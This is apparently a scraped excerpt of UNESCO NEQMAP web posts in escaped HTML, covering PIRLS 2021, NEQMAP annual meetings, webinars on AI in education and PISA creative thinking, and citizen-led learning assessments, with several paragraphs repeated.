width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries.
